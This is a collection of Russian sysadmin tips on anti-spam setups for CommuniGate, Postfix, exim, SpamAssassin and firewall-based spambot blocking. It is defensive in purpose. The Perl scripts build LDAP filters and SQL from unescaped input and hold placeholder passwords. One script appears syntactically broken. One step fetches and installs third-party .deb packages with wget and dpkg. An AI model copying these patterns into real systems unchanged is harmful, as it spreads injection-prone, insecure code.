    score FOREX_SUBJECT -2
    
     
    ----* Проверка существования email в AD (ldap) для маршрутизации письма на Exchange   Автор: 2dfx  [комментарии]
     
    У нас в компании используется сервер Exchange для обмена почтовыми сообщениями.
    Но для отправки сообщений во "вне" используем Communigate Pro.
    Communigate (CGP for Linux) используется только как прослойка и письма
    отправленные на известные домены пересылаются на  Exchange.
     
    схема
     
       Internet
          |
          |
       Communigate Pro
          |
          |
       Exchange
          |
          |
       Users
     
    Но если просмотреть логи, то можно увидеть, что есть огромные очереди на
    адреса, которых не существует и соответственно куча DNR.
    Значит нужно как-то отсеивать эти настырные подключения.
     
    Пришел к выводу, что можно сделать External Authentication + скрипт на perl +
    запретить пересылку писем на exchange (это будет делать скрипт)
     
    Что было сделано.
    
    1. На communigate включил External Authentication (В helpers) с параметрами:
    
       Program Path: /var/CommuniGate/adrelay.pl
       Time-out: 20s
       Auto-Restart: 30s
    
    Не забыть поставить галку External Authentication
     
    2. Так же на communigate в разделе Users - Domain Defaults - Unknown Names:
    
       Consult External for Unknown: Yes
       Mail to Unknown: Rejected
     
    Теперь напишем скрипт в /var/CommuniGate/adrelay.pl
      
       #!/usr/bin/perl
       use Net::LDAP;
       my  $searchBase = 'dc=DOMAIN,dc=local';
       my @ldap_servers=(
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP server
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP    server2
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP  server3
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       );
    
       $| = 1;
       print "* MegaScript started\n";
       my ($ldapServerID,$ldapServerTried)=(0,0);
       while(<STDIN>) {
         chomp;    # remove \n from the end of line
         my ($prefix,$method,@eargs) = split(/ /);
         if($method eq 'NEW') {
           unless($prefix && $method && $eargs[0]) {
             print "$prefix ERROR Expected: nnn NEW user\@domain\n";
           } else {
             my $errorMsg=new_command($prefix,$eargs[0]);
       
           if(defined $errorMsg) {
             print "$prefix ERROR $errorMsg\n";
           }
         }
       }
       elsif ($method eq 'INTF' ) {
           if($eargs[0] < 3) {
             print "* This script requires CGPro version 4.1b7 or newer\n";
             exit;
           }
    
             exit;
           }
           print "$prefix INTF 3\n";
         }
         elsif($method eq 'QUIT') {
           print "$prefix OK\n";
           last;
         } else {
           print "$prefix ERROR Only NEW, INTF and QUIT commands  supported\n";
         }
       }
       print "* Megascript done\n";
       exit(0);
      
       sub tryConnectServer {
         my $theServer=$ldap_servers[$ldapServerID];
         print "* trying to connect to $theServer->{address}\n";
         my $ldap = Net::LDAP->new($theServer->{address},port=>($theServer->{port} || 389),timeout=>($theServer->{timeout} || 20) )
          || return undef;
         return $ldap;
       }
      sub tryConnect {
         my $nServers=scalar(@ldap_servers);
         for(my $nTried=0;$nTried<$nServers;$nTried++) {
           if($ldapServerID>=$nServers) { $ldapServerID=0;}
           my $ldap=tryConnectServer();
           return $ldap if($ldap);
           ++$ldapServerID;
         }
         return undef;
       }
    
       sub new_command {
         my ($prefix,$user)=@_;
         my ($name,$domain)=("","");
         if($user =~ /(.+)\@(.+)/) {
           $name=$1;
           $domain=$2;
         } else {
           return "Full account name with \@ and domain part expected";
         }
         my $ldap = tryConnect();
         unless($ldap) {
           return "Failed to connect to all LDAP servers";
         }
         my $adminDN=$ldap_servers[$ldapServerID]->{adminDN};
         my $adminPassword=$ldap_servers[$ldapServerID]->{adminPassword};
         my $result=$ldap->bind($adminDN,password=>$adminPassword)
           || return "Can't bind as admin: ".$result->error;
         $result->code && return "Can't bind as admin: ".$result->error;
        
       
            my $mesg = $ldap->search (  # perform a search
                    base   => $searchBase,
                    scope  => "subtree",
                    filter => "(&(proxyAddresses=smtp:$name\@$domain) (objectclass=*))"
            );
    
         $ldap->unbind();  
         unless(defined $mesg) {
           return "LDAP search failed";
         }
         if($mesg->all_entries() eq 0) {
           return "address $name\@$domain NOT exists";
         } else {
           print "$prefix ROUTED $name\%$domain\@[IPEXCHANGE]\n";   
           # Pomenyai IPEXCHANGE!!!!!!!!!!!!
           return undef;
         }
      };
    
     
    Что делает скрипт.
    При получении адреса e-mail в RCPT TO ищет его в AD в атрибутах пользователей.
    Если не находит, то сообщение игнорируется.
    
    Проверить работоспособность скрипта можно запустив его и набрать 1 NEW email@domain.ru
    Если выдаст ROUTED email%domain.ru@IPEXCHANGE - то значит все ОК!!!
    
     
    ----* Автоматизация борьбы со спамботами в своей сети   Автор: Дмитрий Иванов  [комментарии]
     
    Администраторы больших сетей регулярно получают жалобы на исходящий из них спам. Получив жалобу, 
    можно найти виновного и устранить проблему. Но нехорошо узнавать о таких делах
    только от чужих людей.
    Спамеров вполне можно вычислить самому, и принять меры раньше, чем кто-то пострадает.
    
    Чисто интуитивно достаточно запустить tcpdump на исходящем канале, и
    посмотреть, какие IP-адреса больше в
    сего посылают SYN-пакетов на 25 порт.
    
      tcpdump -ni bridge0 'tcp[tcpflags] & tcp-syn != 0 and dst port 25'
    
    В идеале это был бы ваш SMTP-сервер. В действительности вы увидите в основном
    IP-адреса простых пользователей,
    "одержимых бесами". Дело в том, что обычный спамбот создает SMTP-соединений во много раз больше 
    вашего почтового сервера. Причем с разными IP-адресами.
    
    В наши дни все нормальные почтовые сервера имеют PTR-запись DNS. Простые клиенты, напротив, 
    такой записи обычно не имеют. Если почтовый сервер может устанавливать SMTP-соединения 
    со множеством IP-адресов, то для простого клиента эта величина обычно не более 1-2 (например, 
    пользование удаленными SMTP-серверами с лаптопа).
    
    Исходя из этого, можно автоматически определять спамботов в нашей сети, и
    блокировать их (например,
    средствами IPFW). В качестве критерия оценки мы установили максимальное количество IP-адресов, 
    с которыми каждый хост может общаться по SMTP в течение 5 минут. Для хостов с
    реверсной записью DNS это 200,
    для хостов без реверсной записи - 20. Если хост превышает этот лимит, он
    попадает в черный список на сутки.
    
    Нами написан Perl-скрипт, запускающий tcpdump на 5 минут, и анализирующий результаты. 
    Хосты-нарушители заносятся в таблицу PostgreSQL для удобства персонала, и затем помещаются 
    в таблицу IPFW. Правила файрвола блокируют все соединения на 25 порт с хостов,
    находящихся в данной таблице.
    
    Текст скрипта:
    
           #!/usr/local/bin/perl
           # dimss@stalin.lv 2009-08-20
    
           my $colltime = 300;    # How long to collect data
           my $rev_limit = 200;   # Remote IP limit for hosts with PTR record
           my $norev_limit = 20;  # Remote IP limit for hosts without PTR record
           my $table_no = 1; # Number of IPFW table
    
           use strict;
           use warnings;
    
           use POSIX ':signal_h';
           use Socket;
           use DBI;
    
           #
           # Collect data
           # Run tcpdump for some time
           #
    
           my $conns = {};
    
           my $mask = POSIX::SigSet->new( SIGALRM );
           my $action = POSIX::SigAction->new(
                   sub {
                           system("killall tcpdump");
                   },
                   $mask
           );
           my $oldaction = POSIX::SigAction->new();
           sigaction(14, $action, $oldaction);
    
           alarm($colltime); # Run tcpdump for this amount of time
           open(T, "/usr/sbin/tcpdump -ni bridge0 'tcp[tcpflags] & tcp-syn != 0 " .
                           "and dst port 25' " .
                           "2>/dev/null |") or die;
    
           while(<T>){
                   /\ ((\d+\.){3}\d+).+?((\d+\.){3}\d+)/;
                   my $locip = $1;
                   my $remip = $3;
                   #print "$locip $remip\n";
                   $conns->{$locip} ||= {};
                   $conns->{$locip}->{$remip} ||= 1;
           }
           alarm(0);
           sleep(1);
    
           #
           # Analyze connections
           #
    
    
           $mask = POSIX::SigSet->new( SIGALRM );
           $action = POSIX::SigAction->new(
                   sub {
                           die("Reverse lookup took too long");
                   },
                   $mask
           );
           $oldaction = POSIX::SigAction->new();
           sigaction(14, $action, $oldaction);
    
           alarm(60); # Reverse DNS lookups must complete within this period
    
           my %concount;
           my %bots;
    
           for my $locip (keys(%$conns)){
                   #print("Loc IP: $locip\n");
                   my $cnt = 0;
                   for my $remip (keys(%{$conns->{$locip}})){
                           #print("  Rem IP: $remip\n");
                           $cnt++;
                   }
                   $concount{$locip} = $cnt;
           }
    
           for my $locip (sort {$concount{$b} <=> $concount{$a}} keys(%concount)){
                   if($concount{$locip} > $norev_limit){
                           my $ip = inet_aton($locip);
                           my $name = gethostbyaddr($ip, AF_INET);
                           if($concount{$locip} > ($name ? $rev_limit : $norev_limit)){
                                   #print("$locip: $concount{$locip} (" . ($name || '') . ")\n");
                                   $bots{$locip} = $name;
                           }
                   }
           }
    
           alarm(0);
    
           #
           # Update database
           #
    
           $mask = POSIX::SigSet->new( SIGALRM );
           $action = POSIX::SigAction->new(
                   sub {
                           die("Database timeout");
                   },
                   $mask
           );
           $oldaction = POSIX::SigAction->new();
           sigaction(14, $action, $oldaction);
    
           alarm(15);
    
           my $dbh = DBI->connect("dbi:Pg:host=db.host.tld;dbname=spambot",
                   "spambot", "passwd");
           if(!$dbh) {
                   die("Cannot connect to DB");
           }
    
           my $query;
           my $sth;
           my $rv;
           for my $botip (keys(%bots)){
                   #print "$botip\n";
                   my $qname = $dbh->quote($bots{$botip});
                   $query = "
                           update spambot_hosts set
                                   active_till = now() + '1 days',
                                   hostname = $qname
                           where ip = '$botip'
                   ";
                   $sth = $dbh->prepare($query);
                   $rv = $sth->execute();
                   if($rv != 1){
                           $query = "
                                   insert into spambot_hosts
                                   (ip, hostname, active_till)
                                   values
                                   ('$botip', $qname, now() + '1 days')
                           ";
                           $sth = $dbh->prepare($query);
                           $sth->execute();
                   }
           }
           $query = "
                   delete from spambot_hosts
                   where active_till < now()
           ";
           $sth = $dbh->prepare($query);
           $sth->execute();
    
           #
           # Get full list of banned hosts from DB
           #
    
           $query = "
                   select ip from spambot_hosts
           ";
           $sth = $dbh->prepare($query);
           $sth->execute();
    
           my %dlist;
           while(my $row = $sth->fetchrow_hashref){
                   $dlist{$row->{ip}} = 1;
           }
    
           undef $dbh;
           alarm(0);
    
           #
           # Read list of banned hosts from kernel (ipfw) table
           #
    
           my %klist;
           if(open(KTABLE, "/sbin/ipfw table $table_no list|")){
                   while(<KTABLE>){
                           chomp();
                           s/\/32//;
                           my ($prefix, $queue) = split();
                           $klist{$prefix} = 1;
                   }
                   close(KTABLE);
           }
    
           #
           # Update kernel table
           #
    
           for my $host (keys(%dlist)){
                   unless($klist{$host}){
                           #print "Add $host\n";
                           system("/sbin/ipfw table $table_no add $host");
                   }
           }
    
           for my $host (keys(%klist)){
                   unless($dlist{$host}){
                           #print "Remove $host\n";
                           system("/sbin/ipfw table $table_no delete $host");
                   }
           }
    
           exit;
    
    Из /etc/ipfw.rules:
    
       #....
       ipfw -q add deny tcp from "table(1)" to any 25
       #....
    
    У нас скрипт работает на шейпере, обслуживающем только заграничный канал.
    Местный трафик им не анализируется
    и не блокируется. При этом большая часть "хорошей" почты ходит именно по
    местным каналам, но спамеры
    спамят в основном по заграничному каналу. Так что лимиты вам наверняка придется
    подстроить под себя.
    Возможно, вам придется также реализовать "белый список", если у вас есть очень
    активные SMTP-сервера.
    
    На момент написания статьи в "расстрельном списке" несколько десятков хостов.
    Жалоб за истекшие сутки
    не поступало, хотя раньше их было множество.
    
     
    ----* Ведение полного лога почтовых отправлений, произведенных через PHP скрипты   [обсудить]
     
    В PHP 5.3 добавлена поддержка ведения полного лога всех почтовых отправлений через функцию mail().
    
    Указав в ini-файле опцию "mail.log имя_файла", в заданным файл будут сохранены
    данные от какого пользователя,
    из какого скрипта, и из какой строки этого скрипта была инициирована отправка каждого письма.
    
    При указании опции "mail.add-x-header true" в отправляемые через PHP функцию
    mail() письма будет добавлен
    заголовок X-PHP-Originating-Script с информацией об скрипте и отправителе.
    
     
    ----* Обучение SpamAssassin при помощи Gmail (доп. ссылка 1)   Автор: Yuri Trofimov   [комментарии]
     
    Суть идеи в использовании  антиспам фильтров Google для обучения SpamAssassin
    на локальном почтовом сервере.
    
    Сначала заходим в свой ящик на Gmail, включаем IMAP и устанавливаем английский язык интерфейса.
    
    Делаем для root вот такой ~/.fetchmailrc
    
       poll imap.gmail.com protocol imap port 993 and options no dns,
         user "user@gmail.com" options ssl,
         password "pass",
         fetchall,
         pass8bits,
         nokeep,
         folder "[Gmail]/Spam&#8221;,
         mda &#8220;/usr/bin/sa-learn -spam -single&#8221;
    
    Запускаем
    
       fetchmail -f .fetchmailrc -v
    
    Делаем бэкап БД spamassassin:
    
       sa-learn --backup > sa-learn.backup.db
    
     
    ----* Сборка exim с поддержкой SPF и DomainKeys в Debian GNU/Linux (доп. ссылка 1)   Автор: Pavel Piatruk  [комментарии]
     
    echo 'deb-src ftp://ftp.nl.debian.org/debian/ testing main contrib non-free' >> /etc/apt/sources.list
    apt-get update
    apt-get build-dep exim4 
    apt-get install libspf2-dev libspf2-2
    cd 
    wget http://www.kibibyte.se/download/debian/libdomainkeys0_0.68-1_i386.deb
    wget http://www.kibibyte.se/download/debian/libdomainkeys0-dev_0.68-1_i386.deb
    dpkg -i libdomainkeys0_0.68-1_i386.deb
    dpkg -i libdomainkeys0-dev_0.68-1_i386.deb
    cd /usr/src
    apt-get source exim4
    cd exim4-4.68
    
    fakeroot debian/rules unpack-configs
    cp EDITME.exim4-heavy EDITME.exim4-custom
    vi EDITME.exim4-custom
    
    # uncomment next lines:
     EXPERIMENTAL_SPF=yes
     LDFLAGS += -lspf2
    # add next lines
    EXPERIMENTAL_DOMAINKEYS=yes
    LDFLAGS += -ldomainkeys
    
    fakeroot debian/rules pack-configs
    fakeroot debian/rules extradaemonpackages=exim4-daemon-custom binary
    
    ls ../*deb
    
    #TEST:
    cd ..
    dpkg -X exim4-daemon-custom_4.68-2_i386.deb EXIM
    ldd EXIM/usr/sbin/exim4  | grep -e domainkeys -e spf
            #libspf2.so.2 => /usr/lib/libspf2.so.2 (0xb7752000)
            #libdomainkeys.so.0 => /usr/lib/libdomainkeys.so.0 (0xb774c000)
    
     
    ----* Блокировка отброшенных SMTP сервером IP адресов/подсетей.   Автор: Забудкин Лев Мирославович  [комментарии]
     
    #!/bin/sh
    #
    #REJECTSPAMMERS v0.1b Lev Zabudkin. zabudkin@mail.ru
    #
    #Описание:
    #   Данный скрипт аккумулирует (создаёт/пополняет) уникальный список IP адресов,
    #   которые были отброшены SMTP сервером.
    #   Скрипт создан с той целью, чтобы REJECT'ить в дальнейшем все пакеты с таких адресов.
    #
    #Действие:
    #   После выполнения будут созданы файлы в папке указанной в SCRIPTDIR (см. ниже):
    #   rejectspammers.run.iptables.block.byip.add             - Блокировать IP адреса
    #   rejectspammers.run.iptables.block.byip.delete          - Убрать прежнюю блокировку IP адресов
    #   rejectspammers.run.iptables.block.byip.subnet24.add    - Блокировать всю
    подсеть 255.255.255.0 IP адресов
    #   rejectspammers.run.iptables.block.byip.subnet24.delete - Убрать прежнюю
    блокировку подсети 255.255.0.0
    #   rejectspammers.run.iptables.block.byip.subnet16.add    - Блокировать всю
    подсеть 255.255.0.0 IP адресов
    #   rejectspammers.run.iptables.block.byip.subnet16.delete - Убрать прежнюю
    блокировку подсети 255.0.0.0
    #   rejectspammers.run.iptables.block.byip.subnet8.add     - Блокировать всю
    подсеть 255.0.0.0 IP адресов
    #   rejectspammers.run.iptables.block.byip.subnet8.delete  - Убрать прежнюю
    блокировку подсети 255.0.0.0
    #
    # Соответственно для нужной блокировки запустите нужный файл.
    #
    
    #Создавать ли файлы с цепочками DELETE
    MAKEDELETEOLD=yes
    
    #Файл с логами SMTP сервера
    MAILLOG=/var/log/maillog
    
    #Каталог, в котором создавать скрипты iptables
    SCRIPTDIR=/
    
    #Временный каталог
    TEMPDIR=/tmp
    
    
    cat $MAILLOG | grep rejected >$TEMPDIR/rejectedspammers
    awk '{user[tolower($10)]=$10} END {for(i in user) {print i}}'
    $TEMPDIR/rejectedspammers >$TEMPDIR/rejectedspammers.list
    cat $TEMPDIR/rejectedspammers.list |cut -d '[' -f2|cut -d ']' -f1 | uniq >$TEMPDIR/rejectspammers.ips
    awk --field-separator=. '{print "iptables -A INPUT -s "$1"."$2"."$3"."$4" -p
    tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.byip.add
    awk --field-separator=. '{print "iptables -A INPUT -s "$1"."$2"."$3".".0/24" -p
    tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.add
    awk --field-separator=. '{print "iptables -A INPUT -s "$1"."$2".".0/16" -p tcp
    --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.add
    awk --field-separator=. '{print "iptables -A INPUT -s "$1".".0/8" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.add
    cat $SCRIPTDIR/rejectspammers.run.iptables.block.byip.add | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.byip.add.temp
    cat $TEMPDIR/rejectspammers.run.iptables.block.byip.add.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.byip.add
    cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.add | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet24.add.temp
    cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet24.add.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.add
    cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.add | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet16.add.temp
    cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet16.add.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.add
    cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.add | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet8.add.temp
    cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet8.add.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.add
    
    
    if [ "$MAKEDELETEOLD" == "yes" ]; then
     awk --field-separator=. '{print "iptables -D INPUT -s "$1"."$2"."$3"."$4" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.byip.delete
     awk --field-separator=. '{print "iptables -D INPUT -s "$1"."$2"."$3".".0/24" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.delete
     awk --field-separator=. '{print "iptables -D INPUT -s "$1"."$2".".0/16" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.delete
     awk --field-separator=. '{print "iptables -D INPUT -s "$1".".0/8" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.delete
     cat $SCRIPTDIR/rejectspammers.run.iptables.block.byip.delete | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.byip.delete.temp
     cat $TEMPDIR/rejectspammers.run.iptables.block.byip.delete.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.byip.delete
     cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.delete | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet24.delete.temp
     cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet24.delete.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.delete
     cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.delete | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet16.delete.temp
     cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet16.delete.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.delete
     cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.delete | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet8.delete.temp
     cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet8.delete.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.delete
    fi
    
    chmod +0755 $SCRIPTDIR/rejectspammers.run.iptables.block.*
    
     
    ----* Особенность использования Dspam в связке с qmail+vpopmail   Автор: Олег  [комментарии]
     
    Следует отметить, что если вы используете dspam в связке с qmail+vpopmail 
    последний должен быть версии не ниже 5.3.7 (с опцией --enable-make-seekable,
    она yes по умолчанию),
    иначе не работает конструкция вида:
    
       /usr/local/dspam/bin/dspam --user local_part@domain.com \
        --deliver=innocent,spam | /var/vpopmail/bin/vdelivermail '' bounce-no-mailbox
    
    vdelivermail отваливается с ошибкой на несикабельность пайпа (errno 29).
    
     
    ----* Фильтрация спама силами Postfix.   Автор: Дмитрий Кустов  [комментарии]
     
    Привожу выдержки из настроек в main.cf для фильтрации спама в версии Postfix
    2.2 его собственными силами.
    Использую также SASL2 для аутентификации (это не обязательно) и PCRE (аналог regexp).
    
    /etc/postfix/main.cf
    
    ====================
       disable_vrfy_command = yes
       strict_rfc821_envelopes = yes
       smtpd_etrn_restriction = reject
       smtpd_sasl_auth_enable = yes
       smtpd_helo_required = yes
       smtpd_helo_restrictions =
    
       smtpd_recipient_restrictions =
            permit_sasl_authenticated,
            permit_mynetworks,
            reject_non_fqdn_recipient,
            check_recipient_access pcre:/etc/postfix/recipient_checks.pcre,
            reject_unknown_recipient_domain,
            reject_unverified_recipient,
            reject_unauth_destination,
            reject_unauth_pipelining,
            permit_auth_destination
    
       smtpd_data_restrictions =
            reject_unauth_pipelining,
            reject_multi_recipient_bounce,
            permit
    
       smtpd_delay_reject=no
    
       # здесь у меня пусто, но можно ввести свой контроль
       smtpd_client_restrictions =
       #       check_client_access hash:/etc/postfix/maps/access_client
    
       # количество RBL серверов регулируйте сами, я дал наиболее распространённые, на мой взгляд
       smtpd_sender_restrictions =
            permit_sasl_authenticated,
            permit_mynetworks,
            reject_invalid_hostname,
            reject_non_fqdn_hostname,
            reject_non_fqdn_sender,
            check_sender_access hash:/etc/postfix/maps/ not_our_domain_as_sender,
            reject_unknown_client,
            reject_unknown_sender_domain,
            reject_unknown_hostname,
            check_client_access pcre:/etc/postfix/client_checks.pcre,
            check_helo_access pcre:/etc/postfix/helo_checks.pcre,
            reject_rbl_client bl.spamcop.net,
            reject_rbl_client sbl-xbl.spamhaus.org,
            reject_rbl_client dul.dnsbl.sorbs.net,
            reject_rbl_client list.dsbl.org,
            reject_rbl_client dnsbl.njabl.org,
            reject_rbl_client relays.ordb.org,
            reject_rbl_client cbl.abuseat.org,
            reject_rbl_client opm.blitzed.org,
            reject_rbl_client dul.ru,
            reject_rhsbl_sender dsn.rfc-ignorant.org
    ====================
    
    /etc/postfix/client_checks.pcre
    
    ====================
       /(modem|dia(l|lup)|cp[ce]|dsl|p[cp]p|cable|catv|poo(l|les)|pppoe|dhcp|client|
       customer|user|host|[0-9]{4,})(-|_|\.|[0-9])/ REJECT Invalid hostname (client)
    
       /[0-9]+-[0-9]+/                 REJECT Invalid hostname (D-D)
    ====================
    
    /etc/postfix/helo_checks.pcre
    
    ====================
       /[^[] *[0-9]+((\.|-|_)[0-9]+){3}/ REJECT Invalid hostname (ipable)
    
       /(modem|dia(l|lup)|cp[ce]|dsl|p[cp]p|cable|catv|poo(l|les)|pppoe|dhcp|client|
       customer|user|host|[0-9]{4,})(-|_|\.|[0-9])/ REJECT Invalid hostname (client)
    
       /[0-9]+-[0-9]+/                 REJECT Invalid hostname (D-D)
    ====================
    
    
    /etc/postfix/recipient_checks.pcre
    
    ====================
       /[@!%].*[@!%]/ 550 Please use user@domain address forms only.
    ====================
    
    /etc/postfix/maps/not_our_domain_as_sender
    
    ====================
       yourdomain.tld     554 Go away, bloody spammer!
    ====================
    
     
    ----* Kaspersky + Postfix с ограничениями для адресов   Автор: BrUYE  [обсудить]
     
    При автоматической установке Касперского для Postfix при настроенных ограничениях для адресов 
    (smtpd_recipient_restrictions, sender_restrictions, etc) в логи валятся сообщения типа:
    
       postfix/smtpd[20375]: connect from localhost.localdomain[127.0.0.1]
       postfix/smtpd[20375]: warning: unknown smtpd restriction: "restricted_recipients"
       postfix/smtpd[20375]: NOQUEUE: reject: RCPT from localhost.localdomain[127.0.0.1]: 
          451 Server configuration error; from=<user@domain.com> to=<group@domain.com>
    
      postfix/lmtp[20197]: 00499FCF34: to=<group@domain.com>, relay=127.0.0.1[127.0.0.1], delay=10, 
          status=deferred (host 127.0.0.1[127.0.0.1] said: 421 <group@domain.com> Error ! (in reply to end of DATA command))
    
    Необходимо убрать/закомментировать в /etc/postfix/master.cf параметры, 
    которые прописал KAV и которые конфликтуют с параметрами в /etc/postfix/main.cf.
    
    У меня секция KAV в /etc/postfix/master.cf имеет вид:
    
    127.0.0.1:10030     inet  n      n      n      -      20     spawn
              user=kluser   argv=/opt/kav/5.5/kav4mailservers/bin/smtpscanner 
    
    127.0.0.1:10031    inet  n      -      n      -      21      smtpd
             -o content_filter=
    #        -o local_recipient_maps=
    #        -o relay_recipient_maps=
    #        -o smtpd_restriction_classes=
    #        -o smtpd_client_restrictions=
    #        -o smtpd_helo_restrictions=    
    #        -o smtpd_sender_restrictions=
    #        -o mynetworks=127.0.0.0/8
             -o strict_rfc821_envelopes=yes
             -o smtpd_error_sleep_time=0
             -o smtpd_soft_error_limit=1001
             -o smtpd_hard_error_limit=1000
             -o myhostname=mail.domain.com
    
    Потом 
       mail# postfix reload; postqueue -f
    
     
    ----* Какие эффективные DNSBL списки дают наименьшее число ложных срабатываний.   [комментарии]
     
    Советую использовать list.dsbl.org (http://dsbl.org/) и dnsbl.njabl.org (http://dnsbl.njabl.org/).
    
     
    ----* Блокирование спама в postfix используя маски для домена в HELO   Автор: Евгений Егоров  [комментарии]
     
    Открыл недавно несколько возможностей в Постфиксе для отсеивания нежелательной почты на этапе HELO.
    Теперь у меня сервер отсеивает от 90 до 98% почты сразу. Антивирус (clamAV) и SA отдыхают. 
    
    Коэффициент SA задрал до 7.3. Все равно до него мало что доходит.
    
    Итак в main.cf стоит:
       smtpd_recipient_restrictions =
           permit_mynetworks,
           reject_non_fqdn_recipient,
           reject_unauth_destination,
           check_helo_access hash:/etc/postfix/helo_checks,
           check_helo_access pcre:/etc/postfix/helo_checks_pcre,
           check_sender_access hash:/etc/postfix/sender_checks,
           check_client_access hash:/etc/postfix/client_checks,
           check_sender_mx_access cidr:/etc/postfix/mx_access,
           check_recipient_mx_access cidr:/etc/postfix/mx_access,
           reject_rbl_client relays.ordb.org,
           reject_rbl_client sbl.spamhaus.org,
           reject_unknown_sender_domain,
           reject_unknown_recipient_domain
    
    /etc/postfix/helo_checks:
    
          # Reject anybody that HELO's as being in our own domain(s)
          # (Note that if you followed the order suggested in the main.cf
          # examples, above, that machines in mynetworks will be okay.)
          <Мой домен>                  REJECT You are not in trala.la
    
          # Somebody HELO'ing with our IP address?
          <мой IP>          REJECT You are not me
    
    Это хорошо помогает против вирус и зомби.
    
    /etc/postfix/helo_checks.pcre:
          # Initial expression
          #/^[0-9]+(\.[0-9]+){3}$/        REJECT Invalid hostname (plain D)
          # expression modified by Eugene 22.03.2005
          /[^[] *[0-9]+((\.|-)[0-9]+){3}/ REJECT Invalid hostname (ipable)
          #
          /(modem|dia(l|lup)|dsl|p[cp]p|cable|catv|poo(l|les)|dhcp|client|customer|user|[0
    -9]{4,})(-|\.|[0-9])/ REJECT Invalid hostname (client)
          #
          /[0-9]+-[0-9]+/                 REJECT Invalid hostname (D-D)
    
     
    ----* Postfix и фильтр запрещенных атачей с уведомлением (доп. ссылка 1)   Автор: JackSoft  [комментарии]
     
    Пример конфигурации для  Postfix 2.1.x, позволяющей ограничить доступ  писем с
    определенными атачами,
    с генерацией отчета о недоставке отправителю,  c указанием причины блокировки.
    
    main.cf: 
    
       mydomain = test.ru
       myorigin = $mydomain
       soft_bounce = no
       bounce_size_limit = 50000
       relayhost = mail.test.ru
       queue_directory = /var/spool/postfix
       command_directory = /usr/local/sbin
       daemon_directory = /usr/local/libexec/postfix
       mail_owner = fcmail
       default_privs = nobody
       mynetworks_style = subnet
       mynetworks = 192.168.0.0/16
       alias_maps = hash:/etc/mail/aliases
       alias_database = hash:/etc/mail/aliases
       mail_spool_directory = /var/mail
       smtp_always_send_ehlo = yes
       transport_maps = hash:/usr/local/etc/postfix/transport
       smtpd_helo_required = yes
       message_size_limit = 5242880
       readme_directory = no
       sample_directory = /usr/local/etc/postfix
       sendmail_path = /usr/local/sbin/sendmail
       setgid_group = maildrop
       manpage_directory = /usr/local/man
       newaliases_path = /usr/local/bin/newaliases
       mailq_path = /usr/local/bin/mailq
       local_recipient_maps = $alias_maps unix:passwd.byname
       notify_classes = delay, protocol, resource, software, policy
       header_checks=regexp:/usr/local/etc/postfix/header_checks
       header_checks=pcre:/usr/local/etc/postfix/header_checks
       mime_header_checks=regexp:/usr/local/etc/postfix/mime_checks
       mime_header_checks=pcre:/usr/local/etc/postfix/mime_checks
       default_process_limit=500
       smtpd_sender_restrictions = check_sender_access
       hash:/usr/local/etc/postfix/smtpd.sender, permit
